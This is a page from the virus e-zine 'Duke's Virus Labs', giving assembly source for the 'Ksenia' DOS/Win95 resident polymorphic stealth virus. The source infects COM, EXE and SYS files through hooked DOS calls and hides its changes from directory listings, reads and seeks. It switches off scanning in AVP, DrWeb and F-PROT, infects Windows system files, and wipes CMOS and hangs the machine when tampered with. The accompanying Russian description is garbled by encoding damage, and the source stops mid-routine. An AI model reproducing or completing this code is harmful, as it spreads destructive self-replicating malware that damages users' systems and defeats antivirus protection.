- [Duke's Virus Labs #9] - [Page 09] -

     Ksenia Final (C) Copyright by Deadman, Russia. E-Mail: dman@mail.ru
    

 騥 ᫮  
   室 ஢  ᪨
   ᠭ ⮫쪮  樮 楫. ⠥  樮
  ⥬ DOS ᨨ 5.0-7.0  প   (LFN) 16- 㭪権.
    DOS ਫ COM/EXE/SYS ⨯. ஢  ࠡ 
  DOS  Win32.  ᥤ    訥  ,  
  ⠫樨  SYS ࠩ ࠧ頥 אַ  DOS kernel (), 
     UMB  筮 . ࠦ 䠩 ந室
      饭 (  DEL).   stealth -
  ,  뢠 ᫥ ⢨   設.  ࠡ -
   ணࠬ (娢஢  - ஢) stealth 㭪樨
  ६ ⪫.  ࠦ 䠩  뢠 ७
  polymorphic engine,       ਯ
  権, ᯮ 砩 ॣ.    ᮪ ,
   ,      ⨪  ᪠,  -
   ࠢ ஬, ७ ਯ୮ ,  㦥 
  ஢뢠  ⥫쭮. । ᥤ    
  ⠥ ந஢    ணࠬ, 
    㧪 .
   १ 楤,   ⠩   㤠
  ᭮ ࠡ稪 DOS 뢠  饩 楯窨.   ⪥
  ஢     ( 砥, ᫨ CRC32 ), 
   設 (  MD),  । ⨬    (CMOS) 
    㦭 .  ⨨ DOS   ୮ 墠-
   뢠 DOS  ⮣, ⮡  ।  ⨢   ( 
    ᤥ  ⬮   ࠢ  ).  -
    ணࠬ   ᪥  ⨢ᮢ    -
   ப ࠬ  ⪫祭 ஢  (᪮ 
    ᢮ 殮    ᨣ).    [AVP/FP/DRWEB]
  祣  ࠦ 䠩 ஬ "- Ok" ⠪   ᬮ ᪠.  ࠦ-
   䠩  ࠢ ६ ᮧ ⮣ 䠩  ⥪饥 ६, 
  ᫨     ᮢ ᮢ,  ஥ 䠩  । ࠢ-
   ᫥饬 ࠡ稪 뢠.    窨 ,
  ࠭ /६, 뢠/࠭ ਡ 䠩  墠뢠
  뢠 ᪮ 訡 Int 24h    03 (Fail).  ६
  ⠫樨   ॣ  8086 ࠭  ⥪  
  । ࠢ ⠭ 㤠.   类  ⨯
  -஢  -, ⮬    ⭨     -
   ⮫쪮 ६     砥  ਭ ॡ㥬 १
  (  樨  200  ਥ       ).
   ࠦ  ॣ஢ ⨯ 䠩 (⨯ COMMAND  ADINF)

 ⠫:
  ᮪ 墠뢠 㭪権 뢠 21h  ࠦ 䠩:
   3Dh/1857h/41h/43h/4Bh/56h/6C00h/7141h/7143h/7156h/716Ch/71A9h
    (Open/Internal/Unlink/CHMOD/Exec/Ren/ExtOpen/LFNs/../ServerOpen)

  ᮪ 墠뢠 㭪権 뢠 21h  ॠ樨 stealth:
   11h/12h/4Eh/4Fh/714Eh/714Fh/71A6h/57h/42h/3Fh/40h
    (FCB/DTA/LFN Find/GetHandleInfo/FileTimeDate/Seek/Read/Write)

  ᮪ 墠뢠 㭪権 뢠 21h  ॠ樨 SFT stealth:
   3Dh/6C00h/716Ch/71A9h+ 㭪樨  ࠡ  ਯ஬ 䠩

    㦥 㭪樨:
   1856h/4Ah
    (Residency check/-墠 Int 21h)

  ࠦ 䠩  ⠫樨  :
   %WINBOOTDIR%\SYSTEM\CONAGENT.EXE
   %WINBOOTDIR%\COMMAND\MODE.COM
   %WINBOOTDIR%\COMMAND\ANSI.SYS
   %WINBOOTDIR%\HIMEM.SYS
   %WINBOOTDIR%\WIN.COM

  ⪫祭 stealth:
   PKZIP/RAR/ARJ/LHA/ARC/UUENCODE/DEFRAG/SPEEDISK/SCANDISK/CHKDSK/NDD/ADINF

  ஢ 䠩  ࠦ:
   COMMAND/ADINF

   ࠬ஢   ப
   AVPDOS32 /M
   DRWEB    /NM
   F-PROT   /NOMEM

     ஢ 5000   ⮬ ᪠  ࠩ
  ⥫쭮. ,  ⪮஢  COM 䠩 :
  tasm ksenia.asm /m3
  tlink ksenia.obj /x/t

   ⮬ , .

===== Cut here =====

 vsize  equ     eov-ksenia      ; ᪮   
 msize  equ     eom-ksenia      ; ࠧ  ॡ㥬 
 v_id   equ     0b52dh          ; ⪠  (HEADER+12h)

 b      equ     <byte ptr>      ;  ᮪饭
 w      equ     <word ptr>
 d      equ     <dword ptr>
 o      equ     <offset>

 mvs    macro   Dest,Sour       ;   뫪 
        push    Sour            ; १ ⥪
        pop     Dest
        endm

        model   tiny            ; 
        codeseg
        p386
        org     100h
 ksenia:
        xor     bp,bp           ; 㦭  1- ᪠ 
        call    crc             ;  CRC 
        mov     checksum,eax
        call    SaveRegs        ; ࠭ 室 ॣ஢
        jmp     shield          ;  CRLEN  १ࢨ஢  ⥫
        org     ksenia+crlen    ;   䭮 

        push    3202h           ; ⠭ 䫠
        popf
        call    SaveRegs        ; ࠭ 室 ॣ஢

        mov     ah,30h          ;  ᨨ DOS
        int     21h             ; ਬ  ᫥
 ip:    mov     bp,sp           ;  ᬥ饭  ࠦ 䠩
        mov     bp,[bp-6]       ; ࠭ IP  INT 
        sub     bp,offset ip    ; 塞 ࠧ ᬥ饭 (delta)

        push    ds              ;  ᮪    
        mvs     ds,0ffffh       ; ஢ 
        mov     si,07h          ; FFFF:0005 ᮤন ,  ன 
        mov     dx,2eh          ; 墠⠥ ᨬ "/",    XOR
        xor     dl,[si]         ; 砥 
        pop     ds

        lea     si,endi-1+bp    ; ஥ (७)   
        mov     cx,endi-shield-1
 turbo: mov     al,cs:[si]      ; ⪠ :
        add     cs:[si-1],al    ; :    byte1 byte2 byte3 byte4
        sub     si,dx           ; : b1+b2 b2+b3 b3+b4 b4+b5
        loop    turbo
 shield:
        cmp     cs:host+bp,"S"  ; ஢ઠ   ⥬
        jz      strategy        ; ࠩ

        mov     ax,1856h        ; ஢ઠ  ⢨   
        int     21h             ; AH=18 -  㭪
        cmp     ax,3265h        ; AX=3265 - ,    㦥 
        jne     exeinstall      ; 


; 饭 ࠢ ணࠬ

 complete:
        lea     si,original+bp  ; si-࠭ 砫 
        mov     al,cs:host+bp   ; 㧪  ⨯ 
        cmp     al,"S"          ; ⥬ ࠩ?
        jz      run_sys
        cmp     al,"E"          ; ᯮ塞 䠩?
        jz      run_exe

        mov     di,100h         ; ⨯ ࠦ ணࠬ: COM
        push    di              ; ࠭  ⥪  
        mov     cx,32           ; ⠭   ਣ쭮
        rep     movsb           ;  ணࠬ
        jmp     LoadRegs        ; । ࠢ  砫 ணࠬ

 run_sys:
        mov     ax,cs:[si+12h]  ; ⠭ ⪨ 
        mov     cs:[12h],ax     ; ⠭ ᬥ饭 楤
        mov     ax,cs:[si+06h]  ; ࠡ⪨ ⥣
        mov     cs:[06h],ax     ;
        push    ax              ; ࠭ ᬥ饭  ⥪
        jmp     LoadRegs        ; ⠭ ॣ஢

 run_exe:
        mov     ax,es
        add     ax,010h
        add     cs:[si+16h],ax  ; .reloc
        add     cs:[si+0eh],ax  ; .reloc
        mov     bp,sp
        mov     [bp.rbx],si     ; ࠭ 㪠⥫  
        call    LoadRegs        ; ⠭ ॣ஢
        mov     ss,cs:[bx+0eh]  ; ⠭ ⥪ ᥣ
        mov     sp,cs:[bx+10h]  ; ⠭ 㪠⥫ ⥪
        jmp     d cs:[bx+14h]   ; । ࠢ


; ⠫      䠩

 exeinstall:
        mov     di,100h         ; ES:DI = PSP:0100
        mvs     ds,cs           ; DS:SI =  
        lea     si,ksenia+bp    ; 㥬    ࠦ
        mov     cx,msize        ; ணࠬ ࠧ ᫥ PSP
        db      6ah,00h         ; 㦠  ⥪  
        db      66h,68h         ; ஢ 
        db      0f3h,0a4h,0cah,6
        push    es offset done  ; rep movsb / retn 06
        mov     ax,sp
        add     ax,4
        jmp     far ptr ax

 done:  mov     ax,cs           ;    ,  ࠢ
        mov     ds,ax           ; ᬥ饭,   樨
        mov     seg0,ax         ;  ᥣ   EPB
        mov     seg1,ax
        mov     seg2,ax

        call    VectMan         ; 㧪  墠 ஢ 뢠
        call    FixVirus        ; ࠦ   䠩

        mov     ah,4ah          ; 㬥  㦭 ࠧ 
        mov     bx,(msize+100h)/16+2 ; , 뤥 ணࠬ
        mvs     es,cs
        int     21h

        mov     si,2ch          ; PSP:2Ch = ᥣ 㦥
        mov     ds,[si]         ;    DS
        xor     ax,ax
        mov     si,-1

 escan: inc     si              ; ᪠    DW 0
        cmp     W [si],ax       ;   ᫥  䠩 (ணࠬ),
        jne     escan           ;  ன  襭 
        lea     dx,[si+4]       ; dx -> 

        mov     ax,cs           ; ந樠㥬 ⥪ 㪠⥫
        mov     ss,ax           ;     -  //
        lea     sp,stacks+size stacks

        mov     ax,4b00h        ; ᪠ ⥫
        lea     bx,epb          ; ES:BX = EPB
        int     21h

        mov     si,2ch
        mov     es,cs:[si]      ; 祭 ᥣ 㦥
        mov     ah,49h          ; ᢮  
        int     21h

        mov     ax,cs           ; ᪨㥬    ⠪,  
        dec     ax              ;  ᮤন ⮫쪮  PSP.   ᥡ
        mov     ds,ax           ; ந 㣮  , ᫥騩
        xor     si,si           ; אַ  PSP.  襭 ணࠬ
        mov     al,4dh          ;     㤥 ᢮.
        xchg    B [si],al
        mov     W [si+3],0fh    ;   MCB   ।⠢
        mov     B [si+100h],al  ;  ப (PSP+0F0h)
        mov     W [si+101h],8   ;
        mov     W [si+103h],msize/16+2

        mov     ah,4dh          ; AH=4Dh (WAIT)
        int     21h             ;  ErrorLevel 饭 ணࠬ
        mov     ah,4ch          ; AH=4Ch (EXIT)
        int     21h             ;   DOS  直 ७


; ⠫     .SYS 䠩

 Strategy:
        mvs     ds,cs           ; 樠 ᥣ⭮ ॣ
        mov     si,sp           ; 㧪 㪠⥫  
        mov     bx,ss:[si.rbx]  ;   ⥪
        mov     es,ss:[si.res]  ;
        lea     si,reqhdr+bp
        mov     [si],bx         ; ࠭ 㪠⥫  祩
        mov     [si+2],es       ;   ⥫ 
        jmp     complete        ; । ࠢ ࠩ

 Interrupt:
        call    SaveRegs        ; ࠭ ॣ஢

        mov     ah,30h          ;  ᨨ DOS
        int     21h             ; ਬ  ᫥
 ipX:   mov     bp,sp           ;  ᬥ饭  ࠦ 䠩
        mov     bp,[bp-6]       ; ࠭ IP  INT 
        sub     bp,offset ipX   ; 塞 ࠧ ᬥ饭 (delta)

        mvs     ds,cs           ; 樠 DS
        lea     si,original+bp  ; 㪠⥫  ਣ쭮
        lea     di,intcall+bp   ; 砫 ࠩ
        mov     ax,[si+08]      ; 㧪 ᬥ饭 楤
        mov     ds:[08],ax      ; 뢠 ࠭ ᬥ饭
        mov     [di],ax         ; 祩  ᮬ 楤 뢠
        mov     [di+02],cs      ; ࠩ

        lea     bx,reqhdr+bp    ; 㪠⥫    
        les     bx,[bx]         ; 㧪   
        mov     ax,es:[bx.0eh]  ; ᬥ饭  , 㯭 ࠩ
        shr     ax,4            ; 祭 ᥣ⭮ ⮢饩 ᬥ饭
        add     ax,es:[bx.10h]  ;  ᥣ  
        sub     ax,msize/10h+2  ; 㬥襭 㯭 ࠩ 
        mov     w es:[bx.0eh],0 ; ᬥ饭 ᫥ 㯭 
        mov     es:[bx.10h],ax  ; ᥣ ᫥ 㯭 
        sub     ax,10h          ; AX - ᥣ 
        mov     es,ax           ; ࠭ ᥣ
        mov     di,100h         ; ॣ   ᮪
        lea     si,[di+bp]      ; 襭  ࠩ 
        mov     cx,msize
        cld
        rep     movsb

        push    es o tmps       ; । ࠢ   ᥣ
        retf
 tmps:  call    LoadRegs        ; ⠭ ॣ஢

        call    d cs:intcall    ; 맮 ࠩ (㭪 00: 樠)

        call    SaveRegs        ; ࠭ ॣ஢
        mov     ax,1856h        ; ஢ઠ  ⢨   
        int     21h             ; AH=18 -  㭪
        cmp     ax,3265h        ; AX=3265 - ,    㦥 
        jz      sfars           ; 

        mvs     ds,cs           ; 樠 ᥣ⭮ ॣ
        les     bx,d reqhdr     ;  
        mov     ax,es:[bx.0eh]  ; ᬥ饭  , 㯭 ࠩ
        shr     ax,4            ; 祭 ᥣ⭮ ⮢饩 ᬥ饭
        add     ax,es:[bx.10h]  ;  ᥣ  
        cmp     ax,intcall+2    ; ᥣ ࠩ
        jz      sfars           ; १ ࠩ?

        inc     ax              ; + 1 ࠣ
        push    ax              ; ࠭
        add     ax,msize/10h+2  ; 㢥祭 ࠭ 
        mov     w es:[bx.0eh],0 ; ᬥ饭 ᫥ 㯭 
        mov     es:[bx.10h],ax  ; ᥣ ᫥ 㯭 
        pop     ax              ; 㦥  ࠭

        sub     ax,10h          ; AX - ᥣ 
        mov     es,ax           ; ࠭ ᥣ
        mov     di,100h
        mov     si,di
        mov     cx,msize        ; ஢ ⥫  
        cld                     ; ६ ᥣ  ⥫
        rep     movsb

        push    es offset owns  ; । ࠢ  ⥫
        retf                    ; ᥣ  ᫥ ࠩ
 owns:  call    VectMan         ; 㧪  墠 ஢ 뢠

 sfars: call    LoadRegs        ; 㧪 ॣ஢
        retf


;  


 copyright    db      'Ksenia.'
              db      vsize/1000 mod 10+'0'
              db      vsize/100  mod 10+'0'
              db      vsize/10   mod 10+'0'
              db      vsize      mod 10+'0'
              db      ' Final Version Copyright (C) ',??date,' by Deadman',0

 extens       db      '.com',0  ; ७ 䠩,  
              db      '.exe',0  ; 㥬
              db      '.sys',0
              db      0

 prms         db      'AVPDOS32',0,0,' /M'    ,0dh
              db      'DRWEB'   ,0,0,' /NM'   ,0dh
              db      'F-PROT'  ,0,0,' /NOMEM',0dh
              db      0

 AVs          db      'ADINF',0   ;   ண  㤥
              db      'COMMAND',0
              db      0

 windows      db      'WiNBooTDiR=',0
              db      0

 files        db      '\SYSTEM\CONAGENT.EXE',0
              db      '\COMMAND\MODE.COM',0
              db      '\COMMAND\ANSI.SYS',0
              db      '\HIMEM.SYS',0
              db      '\WIN.COM',0
              db      0

 stlock       db      'PKZIP',0 ; ணࠬ,  ६ ࠡ 
              db      'RAR',0   ; ⪫ ⥫-㭪樨 
              db      'ARJ',0
              db      'LHA',0
              db      'ARC',0
              db      'UUENCODE',0
              db      'DEFRAG',0
              db      'SPEEDISK',0
              db      'SCANDISK',0
              db      'CHKDSK',0
              db      'NDD',0
              db      'ADINF',0
              db      0

 funcs        dw      1856h,tsrtest     ; ஢ઠ ࠦ  (NULL)
              dw      4AFFh,rehook      ; re-墠  (SETBLOCK)

              dw      3DFFh,infect      ; ࠦ (OPEN)
              dw      1857h,infect      ; ࠦ (VIXFIRUS)
              dw      41FFh,infect      ; ࠦ (DEL)
              dw      43FFh,infect      ; ࠦ (CHMOD)
              dw      4BFFh,infect      ; ࠦ (EXEC)
              dw      56FFh,infect      ; ࠦ (REN)
              dw      6C00h,extinfect   ; ࠦ (EXTOPEN)
              dw      7141h,infect      ; ࠦ (LFN DEL)
              dw      7143h,infect      ; ࠦ (LFN CHMOD)
              dw      7156h,infect      ; ࠦ (LFN REN)
              dw      716Ch,extinfect   ; ࠦ (LFN OPEN)
              dw      71A9h,extinfect   ; ࠦ (LFN SERVER OPEN)

              dw      11FFh,fcbstealth  ; ⥫ (FCB)
              dw      12FFh,fcbstealth  ; ⥫ (FCB)
              dw      4EFFh,dtastealth  ; ⥫ (DTA)
              dw      4FFFh,dtastealth  ; ⥫ (DTA)
              dw      714Eh,lfnstealth  ; ⥫ (LFN)
              dw      714Fh,lfnstealth  ; ⥫ (LFN)
              dw      71A6h,infstealth  ; ⥫ (LFN HANDLE INFO)
              dw      5700h,date_get    ; ⥫ (GET DATE)
              dw      5701h,date_set    ; ⥫ (SET DATE)
              dw      42FFh,seekstealth ; ⥫ (LSEEK)
              dw      3FFFh,readstealth ; ⥫ (READ)
              dw      40FFh,diswrite    ; ⥫ (WRITE)

              dw      3EFFh,patchsft    ; ४஢ SFT
              dw      44FFh,patchsft    ; ४஢ SFT
              dw      45FFh,patchsft    ; ४஢ SFT
              dw      46FFh,patchsft    ; ४஢ SFT
              dw      68FFh,patchsft    ; ४஢ SFT
              dw      0



; ࠡ稪 뢠 08 (Virus Guard)

 vguard:
        call    SaveRegs        ; ࠭ ॣ஢
        inc     cs:delay        ; ஢ઠ 㤥 ந室 ਬ୮
        cmp     cs:delay,18     ;  ᥪ㭤
        jb      exit_guard
        mov     cs:delay,0
        call    crc             ;  CRC ⥫ 
        cmp     cs:checksum,eax ; ࠢ   ⠫
        jz      crc_ok

        mov     ax,1681h        ;  砫 DOS Critical Session
        int     2fh             ;
        mov     al,0ffh         ; ஫ 뢠:
        out     21h,al          ; 饭   뢠

        mov     cx,40h          ; ࠥ  CMOS
 cmos:  mov     ax,cx
        out     71h,al
        out     70h,al
        loop    cmos
        jmp     $               ; ᨬ 設

 crc_ok:
        mov     ax,1856h        ; ஢塞,    모뢠 
        int     21h             ; ࠡ稪 21- 뢠  饩
        cmp     ax,3265h        ; 楯?
        je      exit_guard

        mov     ax,3521h        ;   int 21h
        int     21h
        call    set_dup         ; ⠭ 21-  뢠  㣮
        lea     dx,manager      ;  㦭 ⠭ 
        call    chk_dup         ; 室 , 㤠 㪠뢠 
        jnz     reset           ;  ᫥  ᢮ 
        lea     dx,handler
 reset: mov     ax,2521h        ; ⠭ 
        mvs     ds,cs
        int     21h

 exit_guard:
        call    LoadRegs
        jmp     d cs:io08


; ࠡ稪 뢠 21

 handler:
        call    chk_dup         ; ஢ઠ,  ⠭  
        jz      manager         ;  뢠 ᫥ 㧪 Win95
        jmp     D cs:io21p      ;      祬

 manager:
        call    SaveRegs        ; ࠭  ॣ

        mov     cs:save_ax,ax   ; ᮮ࠭ ࠬ஢
        mov     cs:save_bx,bx   ;  ᯮ짮 (Filename), ᫨
        mov     cs:save_es,es   ; 㭪 = 4b00  ᪠ 䠩 - AV

        lea     si,funcs        ;  ⠡窠,  ன ࠡ뢠
 fscan: cmp     ah,cs:[si+1]    ; 㦭 㭪樨 int 21 (dw F#, dw offset)
        jne     lnext           ; ࠢ al  ⥪饩 祩 ⠡
        cmp     B cs:[si],0ffh  ; ஢ઠ  㦭 ஢ન 㭪樨
        je      ljump
        cmp     B cs:[si],al    ; ஢ઠ 㭪樨
        jne     lnext

 ljump: call    mcbcheck        ; 㭪 : ஢ઠ MCB ( stealth)
        push    W cs:[si+2]     ; ६ ᬥ饭 ࠡ稪  㭪樨
        jmp     LoadRegs        ; ⠭ ॣ

 lnext: add     si,4            ; ६ ᫥   ⠡
        cmp     w cs:[si],0     ; ஢ઠ  ⠡
        jnz     fscan
        call    LoadRegs        ; ࠡ稪  ⮩ 㭪樨 ⠪  
        jmp     ExitHandler     ; : ⤠ ࠢ

 exithandler:
        push    ax ax es bx bp  ; ࠭ ES:BX  १ࢨ஢ 
        call    get_dup         ; 祭 ਣ쭮  int 21h
        mov     bp,sp
        mov     [bp+6],bx       ;     ᢮ 祩
        mov     [bp+8],es       ;  ⥪
        pop     bp bx es        ; ⠭ ॣ஢ ES:BX
        retf                    ; । ࠢ DOS

 ireturn:
        retf    2               ;   㭨⮦ 䫠  ⥪


; ࠦ 䠩

 extinfect:
        call    SaveRegs        ; ࠭  ⥪ ॣ
        mov     dx,si
        jmp     InfA
 infect:
        call    SaveRegs        ; ࠭  ⥪ ॣ
 InfA:  call    Hook24          ; ⠭ 24-  뢠
        call    Filename        ; ஢ઠ   ७ 䠩
        jc      noinf
        call    ClearFileAttributesA
        jc      noinf
        call    CreateFileA     ; ⨥ 䠩  R/W
        jc      RAttr
        call    Infect_Handle   ; ஢ handle
        call    CloseFile       ; ⨥ 䠩
 Rattr: call    RestoreFileAttributesA
 Noinf: call    Remove24        ; ⠭ ࠡ稪 int 24h
        call    LoadRegs        ; ⠭ ॣ஢

        cmp     ah,3dh          ; ஢ઠ  㭪  䠩
        je      sftstealth      ;  砥  ஢ 䠩
        cmp     ax,6c00h        ;   㬥  
        je      sftstealth      ;  SFT  ⪮४஢  
        cmp     ax,716ch        ;
        je      sftstealth      ;
        cmp     ax,71A9h        ;
        je      sftstealth      ;
        jmp     exithandler     ;


; SFT stealth

 sftstealth:
        call    int21           ;  㦭 䠩
        call    SaveRegs        ; ࠭ ॣ஢
        jc      no_sft
        xchg    ax,bx
        call    CloseSFT        ;  SFT
 no_sft:
        call    LoadRegs
        jmp     ireturn


; FCB stealth

 fcbstealth:
        call    int21           ; 맢 㭪 DOS
        call    SaveRegs        ; ࠭ ॣ஢
        cmp     al,0ffh         ;  -?
        jz      no_fcb
        cmp     cs:stf,0        ; ࠡ ?
        jnz     no_fcb

        mov     ah,2fh          ;   DTA
        call    int21
        cmp     b es:[bx],0ffh  ; ७ FCB?
        jne     usual
        add     bx,7
 usual: lea     si,[bx+19h]     ; si ->  䠩
        lea     di,[bx+1dh]     ; di ->  䠩
        call    sizst           ; ⨥ 譨 
 no_fcb:
        call    LoadRegs        ; ⠭ ॣ஢
        jmp     ireturn


; DTA stealth

 dtastealth:
        call    int21           ; 맢 㭪 DOS
        call    SaveRegs        ; ࠭ ॣ஢
        jc      no_dta          ; 諨?
        cmp     cs:stf,0        ; ࠡ ?
        jnz     no_dta

        mov     ah,2fh          ;   DTA
        call    int21
        lea     si,[bx+18h]     ; si ->  䠩
        lea     di,[bx+1ah]     ; di ->  䠩
        call    sizst           ; ⨥ 譨 
 no_dta:
        call    LoadRegs        ; ⠭ ॣ஢
        jmp     ireturn


; Win95 stealth

 infstealth:
        stc                     ; CF   ⠭
        call    int21           ; 맢 㭪 DOS
        call    SaveRegs        ; ࠭ ॣ஢
        jc      no_win          ;  ok?
        cmp     cs:stf,0        ; ࠡ ?
        jnz     no_win
        mov     ax,0            ; ६  Win95 ଠ
        mov     si,dx
        lea     di,[si+24h]     ; ࠧ 䠩
        lea     si,[si+14h]     ;  䠩
        mvs     es,ds
        jmp     allw95

 lfnstealth:
        call    int21           ; 맢 㭪 DOS
        call    SaveRegs        ; ࠭ ॣ஢
        jc      no_win          ; 諨?
        cmp     cs:stf,0        ; ࠡ ?
        jnz     no_win
        mov     ax,si           ; ଠ ६
        lea     si,[di+14h]     ;  䠩
        lea     di,[di+20h]     ; ࠧ 䠩

 allw95:
        cmp     ax,1            ; ஢ઠ ଠ ६
        jz      dos_date

        push    si di ax        ; ࠭ ࠬ஢  饥
        mov     ax,71a7h        ; ॢ ६  ଠ
        mov     bl,0            ; Win95  ଠ DOS
        mvs     ds,es           ; SI 㪠뢠  
        call    int21           ; ᥩ CX:DX ᮤঠ 筮 DOS ६
        pop     ax di si        ; ⠭ ࠬ஢
        mov     [si],cx         ; ࠭ ࠬ஢  FindDataRecord
        mov     [si+2],dx

 dos_date:
        add     si,2            ; si ->  䠩
        call    sizst           ; di ->  䠩
        sub     si,2

        cmp     ax,1            ; ஢ઠ ଠ ६
        jz      no_win

        mov     ax,71a7h        ; ॢ ६  ଠ
        mov     bl,1            ; DOS  ଠ Win95
        mov     di,si           ; DI -> buffer  ६  
        mov     cx,[di]         ; ⥭ ६    ଠ DOS
        mov     dx,[di+2]
        call    int21           ; ᥩ ES:[DI] ᮤন ६ Win95

 no_win:
        call    LoadRegs        ; ⠭ ॣ஢
        jmp     ireturn


; DATE stealth

 date_get:
        call    OpenSFT         ;  SFT
        cmp     cs:stf,0        ; ࠡ ?
        jnz     no_seek
        call    int21           ;  
        call    hidestm         ; ᪨஢ 
        clc
        jmp     seek_ret

 date_set:
        call    OpenSFT         ;  SFT
        call    int21           ; ⠭ 
        call    correctdate     ; ࠢ 
        jmp     seek_ret


; LSEEK stealth

 seekstealth:
        call    OpenSFT         ;  SFT
        cmp     cs:stf,0        ; ࠡ ?
        jnz     no_seek
        call    ioctl           ; ஢ઠ 䠩 IOCTL
        jc      no_seek
        call    Inf_Check       ; ஢?
        jnc     no_seek

        push    cx              ; ࠭ CX
        cmp     al,2            ; ஢ઠ ⨯
        jne     forw
        sub     dx,vsize        ; ᪨஢ 饣  䠩
        sbb     cx,0            ; ᤢ    
 forw:  call    int21           ;  ⠭ 㪠⥫   砫
        pop     cx              ; ⠭ CX
        jc      seek_ret        ;   ⥪饩 樨
        call    seekhide        ; ஢  lseek  ⥫ 
        mov     ax,cs:seek_pos
        mov     dx,cs:seek_pos+2
        jmp     seek_ret

 no_seek:
        call    int21           ; 맮 DOS
 seek_ret:
        call    CloseSFT        ;  SFT
        jmp     ireturn


; READ stealth

 readstealth:
        call    OpenSFT         ;  SFT
        cmp     cs:stf,0        ; ࠡ ?
        jnz     no_seek
        call    ioctl           ; ஢ઠ 䠩 IOCTL
        jc      no_seek
        call    Inf_Check       ; ஢?
        jnc     no_seek

        call    SeekSave        ; ࠭ 樨 㪠⥫
        call    int21           ;  ⥭ 
        jc      seek_ret
        call    SaveRegs        ; ࠭ ॣ஢
        mov     di,dx           ; 㡫஢ ᬥ饭 
        mov     cs:nrbytes,ax   ; ⢮ ⠭ 

        cmp     d cs:seek_pos,32 ;  ?
        jae     zone
        call    crload          ;  饥 砫 䠩

        lea     si,buffer       ; SI -> 饥 砫
        add     si,cs:seek_pos  ; SI ->  ⥬ ᬥ饭 ⥭

        mov     cx,cs:nrbytes   ; ⠥ ⢮    㦭
        add     cx,cs:seek_pos  ; ⥫
        cmp     cx,32           ;   ⥭   ।
        jbe     $+5             ; ࠭ 砫 䠩?
        mov     cx,32
        sub     cx,cs:seek_pos

        jcxz    zone            ;  砥 ⥭ 0 
 rhide: mov     al,cs:[si]      ;  ஢ 砫 䠩 
        mov     [di],al         ; ਣ쭮
        inc     si
        inc     di
        loop    rhide

 zone:  call    seekhide        ; 㥬   lseek 
        call    LoadRegs        ;   + 㬥襭 ᫠ ⠭
        mov     ax,cs:nrbytes   ; 
        jmp     seek_ret


; ALL HANDLER stealth

 patchsft:
        call    OpenSFT         ;  SFT
        jmp     no_seek


; WRITE stealth

 diswrite:
        call    OpenSFT         ;  SFT
        cmp     cs:stf,0        ; ࠡ ?
        jnz     no_seek
        call    ioctl           ; ஢ઠ 䠩 IOCTL
        jc      no_seek
        call    Inf_Check       ; ஢?
        jnc     no_seek

        call    SaveRegs        ; ࠭ ॣ஢
        call    SeekSave        ; ࠭ 樨 㪠⥫
        mvs     ds,cs           ; DS=CS

        call    crload          ; 㧪 ਣ쭮 砫  
        call    seek2bof        ;  㪠⥫  砫 䠩
        mov     cx,32           ;  ਣ쭮  䠩
        lea     dx,buffer
        call    write
        xor     cx,ax           ; 訡?  ⮣   ⮣,
        jnz     disfail         ; 祣  訡 㤥 ⮦!

        mov     cx,-1           ;    . ..
        mov     dx,-vsize       ;   ࠦ ணࠬ
        call    seekfrom_eof
        mov     ah,40h          ; १ 䠩
        xor     cx,cx           ; 㤠塞 ⥫   ᮭ⥫
        call    int21
        mov     ah,68h          ; 뢠 
        call    int21
 disfail:
        call    RestoreSeek     ; ⠭ 樨 㪠⥫
        call    LoadRegs        ; ⠭ ॣ஢
        jmp     no_seek         ; 室


; ஢ઠ ஢ 

 tsrtest:
        mov     ax,3265h        ; Hi, AX=3265
        jmp     ireturn


;  墠  int 21h

 rehook:
        call    SaveRegs        ; ࠭ ॣ஢
        call    chk_dup         ; ஢ઠ,    㦥
        jnz     no_hook         ; ⠭
        call    WinOldAp        ; ஢ઠ, -  
        cmp     ax,cs:w95state  ;  ⠫樨   
        jz      no_hook         ; (뫠  㦥 Win95)

        mov     ax,3521h        ; 祭  int 21h
        int     21h
        mov     ax,2521h        ; ⠭   뢠
        lea     dx,manager
        mvs     ds,cs
        int     21h
        call    set_dup         ; ࠭   㣮 祩 IVT
 no_hook:
        call    LoadRegs        ; ⠭ ॣ஢
        jmp     exithandler

; > SUBROUTINES <

; 㧪  墠 ஢ 뢠

 VectMan:
        call    SaveRegs        ; ࠭ ॣ஢

        mvs     ds,cs           ; 樠 ᥣ⭮ ॣ
        call    WinOldAp        ; 祭  ⠫樨 WinOldAp
        mov     w95state,ax     ; ࠭ 䫠

        mov     ax,3521h        ; AH=35 AL=INT# - 㭪  祭
        int     21h             ;  뢠 AL
        mov     io21p,bx        ; ࠭   祩 
        mov     io21p+2,es
        call    set_dup         ; ⠭ 21-  뢠  㣮
        mov     ax,2521h        ; ⠭ ᢮ ࠡ稪
        lea     dx,handler      ; 뢠
        int     21h
        mov     ax,3508h        ;   뢠
        int     21h
        mov     io08,bx         ; ࠭   祩 
        mov     io08+2,es
        mov     ax,2508h        ; ⠭ 뢠 08h (⠩)
        lea     dx,vguard       ;  ஢ન 楫⭮ 
        int     21h

        call    LoadRegs        ; ⠭ ஢
        ret

 get_dup:
        push    ds si           ; 㧪 ॣ஢ ES:BX ਣ
        mvs     ds,0            ; ஬ 21- 뢠
        mov     si,63h*4
        mov     bx,[si]
        mov     es,[si+2]
        pop     si ds
        ret

 set_dup:
        push    ds si           ; ࠭ ES:BX  63- 
        mvs     ds,0            ; 뢠
        mov     si,63h*4
        mov     [si],bx
        mov     [si+2],es
        pop     si ds
        ret

 chk_dup:
        push    ds si eax       ; ஢ઠ  63- 
        mvs     ds,0            ; 뢠
        mov     si,63h*4
        mov     eax,[si]
        cmp     d cs:io21p,eax
        pop     eax si ds
        ret


; ஢ઠ ⨢ Win95 (ᯮ WinOldAp)

 WinOldAp:
        mov     ax,1700h        ; 㭪 WinOldAp Installation Check
        int     2fh             ; ணࠬ,    Win95
        ret                     ;  32-ࠧ來 ०  PE ଠ


; ࠦ    䠩
; ᯮ STACKS  ⢥    䠩

 FixVirus:
        call    SaveRegs        ; ࠭ ॣ஢
        mov     si,2ch          ;  ᬥ饭 2C  PSP ࠭ ᥣ
        mov     ds,cs:[si]      ; 㦥
        xor     si,si           ; ⮢  ᪠஢ 㦥
        mvs     es,cs           ; ES:DI -> ࠬ 㦥 winbootdir
        lea     di,windows

 FxD:   call    compare         ; ࠢ  蠡 winbootdir
        jz      FxedI           ;  祩 㦥  DS:SI
        cmp     w [si],0        ; ஢ઠ  砭  
        jz      FxOUT           ; ࠬ஢
        inc     si              ;  㢥祭  㦥
        jmp     FxD             ; ᪠ 

 FxedI: lodsb                   ;   ⮫쪮 横,   ᢥ  JZ
